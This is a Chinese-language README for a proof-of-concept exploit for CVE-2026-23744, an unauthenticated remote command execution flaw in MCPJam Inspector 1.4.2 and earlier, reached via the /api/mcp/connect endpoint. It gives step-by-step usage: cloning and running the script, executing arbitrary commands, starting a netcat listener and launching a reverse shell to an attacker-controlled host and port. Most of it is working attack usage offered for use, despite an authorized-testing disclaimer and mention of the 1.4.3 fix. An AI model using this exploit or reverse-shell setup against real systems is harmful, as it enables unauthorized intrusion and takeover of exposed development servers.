CVE-2026-23744 的未授权远程代码执行 PoC。MCPJam Inspector 1.4.2 及更早版本通过 /api/mcp/connect 暴露了相关功能,可在无需认证的情况下启动由攻击者控制的 MCP 服务器命令。
仅限授权测试和研究使用。请勿将其用于你不拥有或未经明确许可进行测试的系统。
HTTP POST -> /api/mcp/connect -> serverConfig command -> process launch -> command execution
serverConfig 载荷。/api/mcp/connect 端点。bash -c 启动配置的命令。


git clone https://github.com/ozcanpng/CVE-2026-23744.git
cd CVE-2026-23744
pip install -r requirements.txt
python3 CVE-2026-23744.py \
--url http://127.0.0.1:3000 \
--cmd 'id'
先启动一个监听器:
rlwrap nc -lvnp 4444
然后运行:
python3 CVE-2026-23744.py \
--url http://127.0.0.1:3000 \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
常用选项:
--cmd COMMAND Command to execute (default: id)
--server-id VALUE serverId value in the crafted MCP config (default: pwn)
--dry-run Build payload flow without sending the HTTP request
--debug Print endpoint and JSON payload
--verify-tls Verify HTTPS certificates
--timeout SECONDS HTTP timeout in seconds (default: 8)
--yes Skip reverse-shell confirmation prompt
| 产品 | 受影响版本 | 所需访问权限 | 影响 |
|---|---|---|---|
| MCPJam Inspector | <= 1.4.2 | 无 | 以 MCPJam Inspector 进程用户身份执行远程命令 |
当 MCPJam Inspector 监听在 0.0.0.0 时,该问题尤其容易暴露,远程主机可以直接访问此开发服务。
/api/mcp/connect 发送 JSON 载荷。serverConfig.command 和 serverConfig.args 传递。--cmd 进行安全验证。--dry-run --debug 可在不触碰目标的情况下检查生成的请求。1.4.3 版本包含上游补丁。ozcanpng — github.com/ozcanpng — ozcanpng.dev